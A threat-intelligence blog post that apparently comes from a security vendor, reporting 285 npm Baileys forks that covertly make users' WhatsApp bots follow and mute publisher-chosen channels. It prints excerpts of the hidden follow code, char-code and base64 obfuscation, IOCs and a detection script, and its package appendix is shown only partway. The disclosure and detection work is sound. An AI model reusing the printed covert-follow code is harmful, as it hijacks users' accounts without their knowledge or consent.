Back to all posts
High Research

CyberXYZ research:
285 PhantomSub packages on npm not in any earlier report

The 285 npm packages in this report are CyberXYZ findings: none of the earlier reports (SafeDep, Xygeni, OX Security) named them, and OSV had no record of them on 26 October 2026. We reported 281 of the 285 to the OpenSSF malicious-packages database, credited to CyberXYZ, on 26 and 27 October 2026. The campaign itself was found by others: SafeDep reported it first, on 10 August 2026, and OX Security named it PhantomSub on 28 September.

CyberXYZ Security Team Threat Intelligence
24 min read

What CyberXYZ found

If your WhatsApp bot is built on a Baileys fork

Check which package your project really installs. A fork from this family makes the bot's WhatsApp account follow, and sometimes mute, channels you never chose, through your own logged-in session. It does not steal credentials. It lends your account to someone else's follower count. The check below takes one command.

What CyberXYZ found

Everything in this section is CyberXYZ research, measured on 26 and 27 October 2026. The campaign was found by others; the credit section below says who.

On 26 October 2026 we counted 323 npm packages that follow WhatsApp channels covertly (how we found them). We compared each name with every package named in SafeDep's, Xygeni's and OX's write-ups, and with OSV. 35 of the 323 appear in at least one of the three write-ups. Of the other 288, 3 already had an OSV record. That leaves 285 packages that no earlier report named and OSV did not have.

323
covert PhantomSub packages on npm, 26 October 2026
288
named in none of the SafeDep, Xygeni or OX write-ups
285
and with no OSV record: CyberXYZ findings
bar length on a linear scale; 35 of the 323 appear in at least one earlier write-up, and 3 of the other 288 already had an OSV record

Most of them are not recent. By the date each package name first appeared on npm:

May 2025: 4 packages created4May2025 Jun 2025: 1 packages created1Jun Jul 2025: 1 packages created1Jul Aug 2025: 3 packages created3Aug Sep 2025: 0 packages created0Sep Oct 2025: 4 packages created4Oct Nov 2025: 14 packages created14Nov Dec 2025: 16 packages created16Dec Jan 2026: 20 packages created20Jan2026 Feb 2026: 36 packages created36Feb Mar 2026: 40 packages created40Mar Apr 2026: 34 packages created34Apr May 2026: 18 packages created18May Jun 2026: 25 packages created25Jun Jul 2026: 19 packages created19Jul Aug 2026: 10 packages created10Aug Sep 2026: 4 packages created4Sep Oct 2026: 35 packages created35Oct our PR #1674, 27 Oct our PR #1666, 26 Oct OX names PhantomSub, 28 Sep Xygeni, 18 Sep SafeDep, 10 Aug
fig. 1 · the 285 packages by the month their name was first published on npm. 246 were published before SafeDep's first report on 10 August 2026, 2 between it and OX's report on 28 September, and 37 after. Grey dashed lines: the earlier reports; orange: our two OpenSSF pull requests. Not shown: 1 package (gifted-baileys) from August 2024; the data table includes it. Source: npm registry creation dates, read 26 October 2026.
Data table
MonthPackages created
2024-081
2025-054
2025-061
2025-071
2025-083
2025-104
2025-1114
2025-1216
2026-0120
2026-0236
2026-0340
2026-0434
2026-0518
2026-0625
2026-0719
2026-0810
2026-094
2026-1035

The date is when the package name was first published on npm, not when the follow code was added. On 27 October 2026 we read every published version of the 285 packages: 876 versions carry the covert follow, and 875 of them have a publish time on npm. Most were already on npm before the first report:

0 250 500 750 1,000 Jun 2025 Sep 2025 Dec 2025 Mar 2026 Jun 2026 Sep 2026 our PR #1674, 27 Oct our PR #1666, 26 Oct OX names PhantomSub, 28 Sep Xygeni, 18 Sep SafeDep, 10 Aug
fig. 2 · covert versions of the 285 packages, counted up by the date each version was published on npm (875 of the 876 have a publish time). 778 had been published before SafeDep's first report on 10 August 2026. Grey dashed lines: the earlier reports; orange: our two OpenSSF pull requests. Source: every published version, read from the npm registry on 27 October 2026.
Data table
MonthVersions publishedRunning total
2025-0544
2025-06711
2025-113748
2025-124088
2026-0154142
2026-0299241
2026-03112353
2026-04148501
2026-0581582
2026-0688670
2026-0778748
2026-0835783
2026-0913796
2026-1079875

The variants, the 11 list repositories, the detector and the reports to OpenSSF described below are also ours.

How the count grew, step by step

We did not start with 285. The count grew over two days as we read code, swept the registry and filed reports. These are our numbers at each step.

Read by hand: 23 packagesRead by hand 23 Flagged by sweep 1: 352 packagesFlagged by sweep 1 352 After sweep 2: 353 packagesAfter sweep 2 353 Documented forks removed: 323 packagesDocumented forks removed 323 In no earlier write-up: 288 packagesIn no earlier write-up 288 And no OSV record: 285 packagesAnd no OSV record 285 Reported to OpenSSF: 281 packagesReported to OpenSSF 281
fig. 3 · packages at each step, 26 and 27 October 2026. Orange: the 285 packages no earlier report named and OSV did not have. Sweep 2 found covert versions in 6 packages, 5 of them already flagged by sweep 1; removing the 30 documented forks with a working off switch leaves 323. Source: CyberXYZ research.
Data table
StepPackages
Read by hand23
Flagged by sweep 1352
After sweep 2353
Documented forks removed323
In no earlier write-up288
And no OSV record285
Reported to OpenSSF281

The version count grew the same way: 395 versions flagged by the first sweep, 414 after the second (the 38 hand-read covert versions are all among them), 364 after removing the 50 versions of documented forks, and 876 once we read every published version of the 285.

Covert, read by hand: 38 versionsCovert, read by hand 38 Flagged by sweep 1: 395 versionsFlagged by sweep 1 395 After sweep 2: 414 versionsAfter sweep 2 414 Documented forks removed: 364 versionsDocumented forks removed 364 Every version of the 285: 876 versionsEvery version of the 285 876
fig. 4 · versions at each step. The 38 hand-read versions are among the 414; removing documented forks takes out 50 versions (40 from sweep 1, 10 from sweep 2). The sweeps read mostly the latest release of each name; on 27 October 2026 we read every published version of the 285. Source: CyberXYZ research.
Data table
StepVersions
Covert, read by hand38
Flagged by sweep 1395
After sweep 2414
Documented forks removed364
Every version of the 285876

Who found the campaign, and what they published

We did not discover this campaign. SafeDep's Kunal Singh reported it first, on 10 August 2026, in Baileys npm forks farm WhatsApp Channel followers: 82 Baileys forks across 375 versions, 15 libsignal-node impersonators, and the follow-then-mute pattern driven by a list on GitHub. On 18 September, Xygeni's Fátima Said took apart one fork that fetched its targets from GitHub 80 seconds after loading.

On 28 September, OX Security's Nir Zadok, Moshe Siman Tov Bustan and Vitalii Chepurko named the campaign in PhantomSub: malicious npm campaign secretly adds users to WhatsApp spam channels. They listed 101 packages, 16 of them already removed, with about 490,000 downloads, 116,000 of them in the previous 30 days. They sorted them into three variants: 19 packages that fetch the channel list from GitHub, 60 with channel IDs in cleartext, and 14 with base64-encoded IDs or invite codes. They also found that 32 channels are followed by more than one package. Amazon Inspector then filed MAL-2026-17342 for @bellaxchuu/belbails 1.0.1, published 8 October 2026 and crediting Amazon Inspector and OX Security. It describes "a large family (100+ identified as of September 2026)".

Between them, the three write-ups name 173 Baileys forks, plus SafeDep's 15 libsignal-node impersonators. The campaign, the mechanism, the name and those packages are theirs. The 285 packages, the variants and list repositories, the detector and the reports to OpenSSF described in this post are ours.

How it works

This part is as OX and the OSV record describe it, and we confirm it. A PhantomSub package is a fork of Baileys. When the user's WhatsApp session connects, injected code sends WhatsApp's w:mex FOLLOW query (query_id 7871414976211147) for channels the publisher chose, through the user's own logged-in session. Some forks also send MUTE, so the channel stays unnoticed.

1
You install a fork

It looks like Baileys with extra features. The name usually contains "baileys" or "bails".

2
Your bot connects

The bot logs in to WhatsApp with your account, and the session opens.

3
The fork follows

The injected code sends the w:mex FOLLOW query for the publisher's channels, as you.

4
Some forks mute

A MUTE right after the follow, so the new channel does not show up for you.

The code runs inside your bot, not at install time. Whoever owns the channel gains a follower from every account that runs the fork.

How we found them

What counts as covert

A version counts only when all four of these hold. Our detector applies the same test, and we applied it by hand to every sample we read.

  1. The follow call. The code sends WhatsApp's w:mex FOLLOW query, directly or through newsletterFollow.
  2. An automatic trigger. Something other than your own code fires it: a connection.update listener, a timer, the keep-alive, or the module loading.
  3. A target the publisher chose. The channel is hardcoded, encoded, or fetched from a list the publisher controls.
  4. No notice. The user is not told.

Muting the channel or hiding the target never excuses a fork; both make it worse. A fork that documents the follow and has a working setting to turn it off is excluded.

Two sweeps

The first sweep read 4,448 npm versions: the latest release of every package name that npm search returns for "baileys", "bails" and "WhatsApp socket", plus every Baileys fork our scanner had already seen. Names miss forks that call themselves something else, so the second sweep went through every fork our scanner had seen by file layout instead of by name. It read 67 more versions and found 19 more covert ones in 6 packages, 1 of them new to the count. Together, the two sweeps read 4,515 versions.

Measured before we trusted it

Before the detector shipped, we ran it against three sets of versions we had already judged by hand:

We also read samples by hand: the 38 covert versions above, and every package whose code appears in this post.

What the two sweeps found

364 versions in 323 packages follow channels covertly. 18 of the 323 packages had an OSV record on 26 October 2026; 305 did not.

For most names the first sweep read only the latest release, so older versions are not in the 364.

Every version of the 285

On 27 October 2026 we read every published version of the 285 packages from the registry: the 1,084 published versions of the 262 packages in the second batch (the 258 in pull request #1674 and the 4 we did not report), plus all versions of the 23 in pull request #1666. 876 versions carry the covert follow code:

One of them, @alannxds/baileys 6.2.10, was read on 26 October and has since been removed from npm. 15 of the 281 reported packages also mute the channels inside the follow loop; we checked each one in the follow code.

What we did not count

Variants we found in the code

We read each of these by hand. The excerpts are copied from the published packages, with their line numbers on the left.

A follow on every keep-alive

The forks described in the earlier write-ups follow once, when the session opens or the module loads, sometimes after a delay of 30 to 90 seconds. vendezuubaileys 1.0.0 does it on a timer. In lib/Socket/socket.js, line 354 starts the WebSocket keep-alive setInterval. Under the comment "send a keep alive request", lines 368 to 385 send the raw w:mex FOLLOW query (query_id 7871414976211147) for 120363399204776509@newsletter. It is sent on every keep-alive tick, not once. Lines 355 to 365 and from 386 on are not shown.

vendezuubaileys 1.0.0 · lib/Socket/socket.js, lines 354 and 366 to 385
354          keepAliveReq = setInterval(() => {
366              } else if(ws.isOpen) {
367                  // if its all good, send a keep alive request
368                  sendNode({
369          tag: "iq",
370          attrs: {
371            id: generateMessageTag(),
372            type: "get",
373            xmlns: "w:mex",
374            to: S_WHATSAPP_NET
375          },
376          content: [
377            {
378              tag: "query",
379              attrs: {
380                query_id: "7871414976211147",
381              },
382              content: new TextEncoder().encode(
383                JSON.stringify({
384                  variables: {
385                    newsletter_id: "120363399204776509@newsletter",

A README that denies the follow

@kasabaileys/baileys 2.0.1 tells you in its README that it is built "with a focus on clarity and safety" and has no auto-follow (lines 34 to 37, list emojis removed):

@kasabaileys/baileys 2.0.1 · README.md, lines 34 to 37
34  This fork designed for production use with a focus on clarity and safety:
35  
36  - No obfuscation. Easy to read and audit.
37  - No auto-follow channel (newsletter) behavior.

In its newsletter code, a comment says the opposite ("saat" is Indonesian for "when"), and the lines after it follow 120363431179022660@newsletter as soon as the connection opens:

@kasabaileys/baileys 2.0.1 · lib/Socket/newsletter.js, lines 53 to 61
53      // Auto follow newsletter saat connection open
54      const KASABAILEYS_NEWSLETTER = '120363431179022660@newsletter';
55      sock.ev.on('connection.update', async ({ connection }) => {
56          if (connection === 'open') {
57              try {
58                  await executeWMexQuery({ newsletter_id: KASABAILEYS_NEWSLETTER }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
59              } catch (_) {}
60          }
61      });

A "clean fork" that is not

baileys-clean 7.3.2 and habibih-bailys 7.3.2 ship the same lib/Socket/newsletter.js. Their README, in Indonesian, promises "all features, without backdoor and without hidden auto-follow" (our translation of line 3, shown from its second clause). It lists newsletterAutoFollowSilent as removed, and under "Auto-Follow Saluran Owner (Transparan)", meaning "auto-follow of owner channels (transparent)", describes a follow of four owner channels that you call yourself with autoFollowOwnerChannels(true):

baileys-clean 7.3.2 · README.md, lines 3, 62 and 70
 3  ...semua fitur lengkap, **tanpa backdoor dan tanpa auto-follow tersembunyi**.
62  ## Auto-Follow Saluran Owner (Transparan)
70      await sock.autoFollowOwnerChannels(true)

The package has no function by that name. It does have newsletterAutoFollowSilent, invoked immediately, which registers a connection.update listener that follows the four "ownerChannels" in a loop 15 seconds after the session opens, then runs the loop again every 60 seconds (lines 224 to 247):

baileys-clean 7.3.2 · lib/Socket/newsletter.js, lines 224 to 247
224          newsletterAutoFollowSilent: (() => {
225              let activeInterval = null;
226              sock.ev.on('connection.update', ({ connection }) => {
227                  if (connection === 'open') {
228                      if (activeInterval) clearInterval(activeInterval);
229                      setTimeout(() => {
230                          const ownerChannels = [
231                              '120363421412174731@newsletter',
232                              '120363406225530257@newsletter',
233                              '120363419318051000@newsletter',
234                              '120363408101167880@newsletter',
235                          ];
236                          const runLoop = async () => {
237                              if (!sock.ws.isOpen) return;
238                              for (const id of ownerChannels) {
239                                  try {
240                                      await newsletterWMexQuery(id, QueryIds.FOLLOW);
241                                      await new Promise(r => setTimeout(r, 3500));
242                                  } catch (err) {}
243                              }
244                          };
245                          runLoop();
246                          activeInterval = setInterval(runLoop, 60000);
247                      }, 15000);

SafeDep's list already includes baileys-clean 7.3.2. What its README claims, and the code that contradicts it, are what we add.

Eleven remote channel lists not in the published IOCs

Remote lists let a publisher change targets without publishing a new version. Each list in appendix B was fetched by one package in our set, and none appears in the IOCs of OX, SafeDep or Xygeni. Three are repositories named Screaper under other accounts, the same name as the skyzopedia list Xygeni and OX reported. We also found canta-baileys fetching from the FallEzz/baileys-corp repository, which OX already listed.

Known tricks, new packages

These use techniques others have already described, in packages the earlier write-ups do not list. All of them are among the 285.

Character codes

@alzx7z/baileys 2.0.8 builds its channel IDs from character codes with String.fromCharCode, so no channel ID appears in the source, and follows each one 90 seconds after the module loads. In lines 106 to 118, 49, 50 and 48 are the character codes for "120", how every channel ID starts, and 64 is "@". Amazon Inspector's OSV record lists char-code arrays among the family's tricks, and SafeDep showed the same method hiding an advertising URL.

@alzx7z/baileys 2.0.8 · lib/Socket/newsletter.js, lines 106 to 118
106  const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
107  
108  setTimeout(async () => {
109      try {
110          await newsletterWMexQuery(
111              asciiDecode([
112                  49,50,48,51,54,51,52,48,56,56,50,51,52,53,56,48,55,
113                  64,110,101,119,115,108,101,116,116,101,114
114              ]),
115              Types_1.QueryIds.FOLLOW
116          );
117      } catch {}
118  }, 90000);

The list URL itself in base64

@bmbxmd/baileys 2.5.8 decodes its list URL from base64 to hxxps://files[.]gifted[.]co[.]ke/file/chJids.json (line 44), then sends the raw FOLLOW query for every channel in it. OX showed the same trick in @rixxcodex/baileys, and listed that host.

@bmbxmd/baileys 2.5.8 · lib/Socket/newsletter.js, lines 41 to 45
41      setTimeout(async () => {
42          try {
43              const fetch = require('node-fetch');
44              const url = Buffer.from("aHR0cHM6Ly9maWxlcy5naWZ0ZWQuY28ua2UvZmlsZS9jaEppZHMuanNvbg==", 'base64').toString();
45              const response = await fetch(url);

Comments that say what it is

reyz-baileys and reyz4you-baileys-v1 label it in index.js: "FITUR AUTO JOIN CHANNEL (SILENT)", Indonesian for "auto join channel feature (silent)". The log lines around it say only that the system is starting. r-baileys 1.0.0 puts // support saya hhe :v ("support me hehe") above a list it follows 10 seconds after load.

reyz-baileys 1.0.5 · index.js, lines 19 to 33
19      // FITUR AUTO JOIN CHANNEL (SILENT)
20      sock.ev.on('connection.update', async (update) => {
21          const { connection } = update;
22          if (connection === 'open') {
23              console.log('\x1b[36m[Reyz4YouXGod Baileys Engine]\x1b[0m: System starting...');
24              const listChannels = [
25                  '120363421096003443@newsletter',
26                  '120363405947742419@newsletter'
27              ];
28              for (const id of listChannels) {
29                  try {
30                      await new Promise(r => setTimeout(r, 8000));
31                      await sock.newsletterFollow(id);
32                  } catch (e) {}
33              }

The channels that collect the most

As OX put it, a shared channel means a shared beneficiary: whoever owns it collects followers from every package that targets it. Across every version of the 285, the most-shared channel is 120363420757607688@newsletter, followed by 10 packages; no earlier IOC list names it. Five more channels are followed by 7 each. OX's most-reused channel, 120363400911374213@newsletter, is followed by 6 of the 285. In the 258 packages of pull request #1674 alone, we extracted 303 distinct channel IDs and 5 invite codes. The most-shared channels are in appendix B.

120363420757607688@newsletter: 10 packages120363420757607688@newsletter 10 120363303656790201@newsletter: 7 packages120363303656790201@newsletter 7 120363420249672073@newsletter: 7 packages120363420249672073@newsletter 7 120363424020283759@newsletter: 7 packages120363424020283759@newsletter 7 120363425177067841@newsletter: 7 packages120363425177067841@newsletter 7 120363425869049995@newsletter: 7 packages120363425869049995@newsletter 7
fig. 5 · packages among the 285 that follow each of the 6 most-shared channels, every version read on 27 October 2026. Orange: the most-shared channel, which no earlier IOC list names. Source: CyberXYZ extraction.
Data table
ChannelPackages
120363420757607688@newsletter10
120363303656790201@newsletter7
120363420249672073@newsletter7
120363424020283759@newsletter7
120363425177067841@newsletter7
120363425869049995@newsletter7

Who installs them and what they pull in

Downloads

npm counted 93,901 downloads of the 285 packages in the last 30 days (read on 27 October 2026), and every one of the 285 had downloads. The most downloaded were @kyuu2nd/baileys (5,239), @denzy-official/baileys (4,553), @bellachu/baileys (3,946), @zeppeliorg/wbails (3,628), @langitdeveloper/baileys (3,204), @aboutdisz/baileys (2,462), @skycodee/baileys (2,082), and @fadelsm/baileys (1,877).

@kyuu2nd/baileys: 5,239 downloads@kyuu2nd/baileys 5,239 @denzy-official/baileys: 4,553 downloads@denzy-official/baileys 4,553 @bellachu/baileys: 3,946 downloads@bellachu/baileys 3,946 @zeppeliorg/wbails: 3,628 downloads@zeppeliorg/wbails 3,628 @langitdeveloper/baileys: 3,204 downloads@langitdeveloper/baileys 3,204 @aboutdisz/baileys: 2,462 downloads@aboutdisz/baileys 2,462 @skycodee/baileys: 2,082 downloads@skycodee/baileys 2,082 @fadelsm/baileys: 1,877 downloads@fadelsm/baileys 1,877 @riyanofficial/baileys-pro: 1,587 downloads@riyanofficial/baileys-pro 1,587 zenvy-baileys: 1,500 downloadszenvy-baileys 1,500
fig. 6 · npm downloads in the last 30 days for the ten most downloaded of the 285, read on 27 October 2026. All 285 together: 93,901. Source: npm download counts.
Data table
PackageDownloads, 30 days
@kyuu2nd/baileys5,239
@denzy-official/baileys4,553
@bellachu/baileys3,946
@zeppeliorg/wbails3,628
@langitdeveloper/baileys3,204
@aboutdisz/baileys2,462
@skycodee/baileys2,082
@fadelsm/baileys1,877
@riyanofficial/baileys-pro1,587
zenvy-baileys1,500

Reachability

No package in CyberXYZ's dependency graph depends on any of the 285, directly or transitively: none of its 12,197,253 dependency edges and 7,938,449 reachability rows has one of them as a dependency or as a reachable package. deps.dev, queried on 27 October 2026, answered for 270 of them and shows a dependent for only 4: @fadzzzslebew/baileys, gifted-baileys, reyz-baileys and yagami-baileys, one dependent each. These packages are installed directly by people building WhatsApp bots, not pulled in through other packages.

What they depend on

They pull in the standard Baileys stack: pino (285 of the 285), @hapi/boom (283), ws, protobufjs, async-mutex and music-metadata (281 each) and libsignal (258). One, astrabail, also depends on @saazkira/libsignal-node, a libsignal impersonator that OSV lists as malicious (MAL-2026-17836). 25 others depend on forks of libsignal published under other names, such as libsignal-xeuka and @skycodee/libsignal; OSV has no record of those, and we have not analysed them.

Operator groups

Linking packages that follow the same channel, invite code or list URL gives 150 groups. 38 groups of two or more packages hold 173 of the 285, and the largest group has 35 packages. 120 targets are shared by two or more packages. A shared target means a shared beneficiary: whoever owns it collects the followers from every package in the group.

Group 1: 35 packagesGroup 1 35 Group 2: 14 packagesGroup 2 14 Group 3: 10 packagesGroup 3 10 Group 4: 7 packagesGroup 4 7 Group 5: 7 packagesGroup 5 7 Group 6: 6 packagesGroup 6 6 Group 7: 5 packagesGroup 7 5 Group 8: 5 packagesGroup 8 5 Group 9: 5 packagesGroup 9 5 Group 10: 5 packagesGroup 10 5
fig. 7 · the ten largest groups of packages that share a channel, an invite code or a list URL, from every version of the 285. 38 groups have two or more packages; 112 packages share no target with another. Source: CyberXYZ extraction.
Data table
GroupPackages
Group 135
Group 214
Group 310
Group 47
Group 57
Group 66
Group 75
Group 85
Group 95
Group 105

How to check your project

With xyz Scanner, run xyz audit npm. It checks the npm packages on the machine against our malicious-package list (see the docs). For a single package, look it up in CyberXYZ Check, for example cyberxyz.io/check?q=vendezuubaileys.

To look for yourself, find every Baileys fork in node_modules, meaning any package that ships lib/Socket/newsletter.js whose package name is not @whiskeysockets/baileys, and search its lib/ for the follow call. The loop reads each package's real name, so a fork installed under an alias is still caught.

in your project folder: lists each Baileys fork and its follow calls
find node_modules -path '*/lib/Socket/newsletter.js' | while read -r f; do
  d="${f%/lib/Socket/newsletter.js}"
  name=$(node -p "require('./$d/package.json').name")
  [ "$name" = "@whiskeysockets/baileys" ] && continue
  echo "== $name ($d)"
  grep -rn --include='*.js' -E '7871414976211147|QueryIds\.FOLLOW|newsletterFollow\(' "$d/lib" | cut -c1-160
done

No output means no fork was found. A hit inside the newsletterFollow function is normal: that is the call your own code makes. A FOLLOW anywhere else, such as inside a connection.update listener, a timer or the keep-alive, is the sign to look for. Open the file at that line and see which channel it follows. We tested the loop in bash and zsh on a project holding the official package and three forks from this post, one of them installed under an alias. It skipped the official package and printed the extra FOLLOW in each fork.

What CyberXYZ does about it

CyberXYZ scans npm packages as they are published. Since 26 October 2026 the detector described in the method looks for this exact behaviour on every new release.

What a detection does depends on your policy. Under the standard policy, CyberXYZ Proxy blocks known malware: a package with an OSV malicious-package record, or one our analysts have confirmed. Automatic detections like this one raise an alert, and block for organisations that choose a strict policy.

Our analysts read 40 of the 285 packages by hand and confirmed them, so those block under the standard policy too. On 30 October 2026, CyberXYZ Check returned block for vendezuubaileys 1.0.0, @kasabaileys/baileys 2.0.1 and baileys-clean 7.3.2. On the same day, every one of the 285 package reports showed the detection: 40 confirmed by our analysts and 245 automatic.

OSV IDs for the packages we reported

We reported 281 of the 285 to the OpenSSF malicious-packages database, credited to CyberXYZ: 23 in pull request #1666 (26 October 2026) and 258 in pull request #1674 (27 October 2026). The other 4 (@bellachu/baileys, @pstar7/baileys, @shadow999/baileys, @wanzdreamx/xbails) contain the covert follow code, but it cannot reach a real channel (a malformed base64 string, an empty list URL, a broken character-code transform), so we did not report them.

Every report credits CyberXYZ as the finder. OSV assigns the IDs when a pull request merges; until then they read "pending". The ID for each package goes next to it in appendix A.

OSSF reportPackagesCovert versionsOSV IDs
#1666, 26 Oct 20262344pending
#1674, 27 Oct 2026258818pending
Not reported414n/a

Supply-chain risk analysis

Mapped to MITRE ATT&CK:

Initial AccessT1195.002Compromise Software Supply Chain
Defense EvasionT1027Obfuscated Files or Information
Command and ControlT1102Web Service (target lists on GitHub)
CyberXYZ research

The 285 PhantomSub packages that no earlier report named and OSV did not have, the keep-alive and README variants, the 11 new list repositories, and the reports to OpenSSF are CyberXYZ findings, made on 26 October 2026.

The campaign was found by SafeDep, Xygeni and OX Security, and OX named it PhantomSub. Amazon Inspector filed its first OSV record.

Appendix A: the 285 packages

Every package below carries the covert follow code in at least one published version (all versions read on 27 October 2026), was named in none of the SafeDep, Xygeni or OX write-ups, and had no OSV record on 26 October 2026. Each links to its CyberXYZ package report. The date is when the package name was first published on npm. The last two columns give the OpenSSF pull request that reports it and its OSV ID once assigned. Oldest first.

Show all 285 packages
First publishedPackageOSSF reportOSV ID
2024-08-22gifted-baileys#1674pending
2025-05-16venzuu-baileys#1674pending
2025-05-16vendezuubaileys#1674pending
2025-05-16vendetazuu-baileys#1674pending
2025-05-16vendettazuu-baileys#1674pending
2025-06-28baileys-p#1674pending
2025-07-11@baileys-md/baileys#1674pending
2025-08-06@fadzzzslebew/baileys#1674pending
2025-08-09@getsuzocompany/system#1674pending
2025-08-27angularsockets#1674pending
2025-10-01@rahadi01/baileys#1674pending
2025-10-02@ryuhan/baileys#1674pending
2025-10-11@modzneverdie/baileys#1674pending
2025-10-20@denzy-official/baileys#1674pending
2025-11-02alisaai-baileys#1674pending
2025-11-08dibosockets#1674pending
2025-11-11@pinaapalerie/baileys#1674pending
2025-11-12alisaaai-baileys#1674pending
2025-11-13@yazxzofficial/baileys-mod#1674pending
2025-11-13ell-bail#1674pending
2025-11-15yantobail#1674pending
2025-11-16@purpleiriss/irisbail#1674pending
2025-11-17tr4shxsuit#1674pending
2025-11-20@genshirobot/vip#1674pending
2025-11-21@hbmodsofc/baileys#1674pending
2025-11-24@trashcore/baileys#1674pending
2025-11-28@yazxz-pedia/baileys#1674pending
2025-11-30zakkixd1#1674pending
2025-12-04byleeosbaileys#1674pending
2025-12-06baileys-mood#1674pending
2025-12-13@shadow999/baileysnot reportedn/a
2025-12-14alwaysaqioo#1674pending
2025-12-16yazxz#1674pending
2025-12-17bintzge-baileys#1674pending
2025-12-18zexxo-baileys#1674pending
2025-12-21@daffaadev/baileys#1674pending
2025-12-21@daffaadev/baileyss#1674pending
2025-12-25yagami-bail#1674pending
2025-12-26yagami-baileys#1674pending
2025-12-29queenjusmy-baileys-v1#1674pending
2025-12-29mod-baileys#1674pending
2025-12-30dapzsyz-baileysm#1674pending
2025-12-31@ravliesh/baileys#1674pending
2025-12-31nrx-bails#1674pending
2026-01-02@metaload/baileys-mod#1674pending
2026-01-04@kurtucoben/baileys#1674pending
2026-01-05baileys-multidev#1674pending
2026-01-06malvin-wa#1674pending
2026-01-07baileys-xdk#1674pending
2026-01-08@shithsu/baileys-mod#1674pending
2026-01-08malvin-baileys#1674pending
2026-01-11wileys-neji#1674pending
2026-01-12@riyanofficial/baileys#1674pending
2026-01-19xnxx-bail-pro#1674pending
2026-01-20baileys-dula#1674pending
2026-01-20dula-baileys#1674pending
2026-01-23@jiancodes/baileys#1674pending
2026-01-23patron-pro#1674pending
2026-01-25cloudpedia#1674pending
2026-01-27@yonzxofficiall/baileys#1674pending
2026-01-29@kurtucoben/cstm-bail#1674pending
2026-01-29@zetagoaurum-socket/wasocket#1674pending
2026-01-29@lubyzzxmods/baileys#1674pending
2026-01-30shin-yagami#1674pending
2026-02-03baileys-web3#1674pending
2026-02-05@daffadevv/baileys#1674pending
2026-02-05@hanzzy/baileys#1674pending
2026-02-05@shurainc/baileys#1674pending
2026-02-05vinzz-baileys#1674pending
2026-02-05@hanzzy/baileys-new#1674pending
2026-02-06baileeys#1674pending
2026-02-07baileys-web4.0#1674pending
2026-02-07baileys-web4.1#1674pending
2026-02-07reyz4you-baileys-v1#1674pending
2026-02-07reyz-baileys#1674pending
2026-02-08@omhc-mbut/baileys#1674pending
2026-02-09casper-baileys#1674pending
2026-02-11vinzzxd#1674pending
2026-02-11@skyzeeshop/baileys-mod#1674pending
2026-02-11vinzzknight#1674pending
2026-02-13@devil-fight/baileys#1674pending
2026-02-18fast-baileys#1674pending
2026-02-18@otpworld/baileys#1674pending
2026-02-21makamesco-baileys#1674pending
2026-02-22@fadeldev/baileys-mod#1674pending
2026-02-23@devpeacemaker/baileys#1674pending
2026-02-23@hanzzy/baileys-mod#1674pending
2026-02-24kazumarii-kyuuna#1674pending
2026-02-24@ikhsan-project/dizzanzz#1674pending
2026-02-24devilkyuuna#1674pending
2026-02-25nyttt-baileys#1674pending
2026-02-26supun-baileyz#1674pending
2026-02-26@kynna/baileys-pro#1674pending
2026-02-26baileys-new-dtz#1674pending
2026-02-26gupongxyz#1674pending
2026-02-26hiura#1674pending
2026-02-26omhcmbud-bails#1674pending
2026-02-27@skycodee/baileys#1674pending
2026-02-28surabails#1674pending
2026-02-28@skycodee/baileys-mod#1674pending
2026-03-01@sapp1/baileys-pro#1674pending
2026-03-01nobiztoblut-bot#1674pending
2026-03-01dct-dula-dev-baileys#1674pending
2026-03-02zyleys#1674pending
2026-03-12@pstar7/baileysnot reportedn/a
2026-03-14@riyanofficial/baileys-pro#1674pending
2026-03-14@vinzzofficial/baileys#1674pending
2026-03-14hunter-baileys#1674pending
2026-03-14amanexfujimiya-baileys#1674pending
2026-03-15arkaan-amane-baileys#1674pending
2026-03-16bellacloudy#1674pending
2026-03-16naileys#1674pending
2026-03-17@wilzzofcc/baileys#1674pending
2026-03-18@makamesco-md/baileys#1674pending
2026-03-20davebaileys#1674pending
2026-03-20dct-dev-private-baileys#1674pending
2026-03-22@fr3xtoy/baileys#1674pending
2026-03-23phantom-pro#1674pending
2026-03-23@dinzid/bailstao#1674pending
2026-03-24baileyssteam#1674pending
2026-03-24@darling-2002/baileys#1674pending
2026-03-24finzzcloud#1674pending
2026-03-24@kyuu2nd/baileys#1674pending
2026-03-24@bellachu/baileysnot reportedn/a
2026-03-24@wanzdreamx/xbailsnot reportedn/a
2026-03-24@yun-xiao/baileys#1674pending
2026-03-25@vinxwhy1st/bails#1674pending
2026-03-25@hanzzyy/baileys#1674pending
2026-03-25@risaoffc/baileys#1674pending
2026-03-25@denzz221/baileys#1666pending
2026-03-26@sarayun/baileys#1674pending
2026-03-26ryuubail#1674pending
2026-03-27popkid-baileys#1674pending
2026-03-28@yemo-dev/yebail#1674pending
2026-03-28dct-baileys#1674pending
2026-03-28@dilxzcode/bails#1674pending
2026-03-29ravionbailey#1674pending
2026-03-29@dinzid/bailstaov1#1674pending
2026-03-30mrxd-baileys#1674pending
2026-03-31yuliawhh#1674pending
2026-04-03@farisme/baileys#1674pending
2026-04-03@fadelsm/baileys#1674pending
2026-04-04rfn-baileys#1674pending
2026-04-05flibu-baileys-official#1674pending
2026-04-05baileys-akiko#1674pending
2026-04-08amiudmodz#1674pending
2026-04-08@zeppeliorg/wbails#1674pending
2026-04-08@kyynotdevv/baileys#1674pending
2026-04-12ultramaxo-baileys#1674pending
2026-04-13@danzxcode/danzx-bail#1674pending
2026-04-13@alzx7z/baileys#1674pending
2026-04-13rsembilaneks-baileyss#1674pending
2026-04-13rsembilaneks-baileys#1674pending
2026-04-13@zephkiel/wbails#1674pending
2026-04-14wizeza-baileys#1674pending
2026-04-15@ubedsockets/baileys#1674pending
2026-04-16silva-baileys#1674pending
2026-04-17@sanzsayangvien/baileys-pro#1674pending
2026-04-18@sanndestroyer/baileys#1674pending
2026-04-19yuuki-baileys#1674pending
2026-04-19noya-baileys#1674pending
2026-04-22@ndikafath/baileys#1674pending
2026-04-23astrabail#1674pending
2026-04-23@fadeldev/baileys#1674pending
2026-04-24@arkanhahaha/baileys#1674pending
2026-04-24@zennorg/baileys#1674pending
2026-04-25zenvy-baileys#1674pending
2026-04-25@primeroselotus/baileys#1674pending
2026-04-27@thunderx/baileys#1674pending
2026-04-28@xianntood/baileys#1674pending
2026-04-28@gadzzmodss/baileys#1674pending
2026-04-29@rexzlys/wbails#1674pending
2026-04-30@vanzzooffc/baileys#1674pending
2026-04-30@vanzzo/priject#1674pending
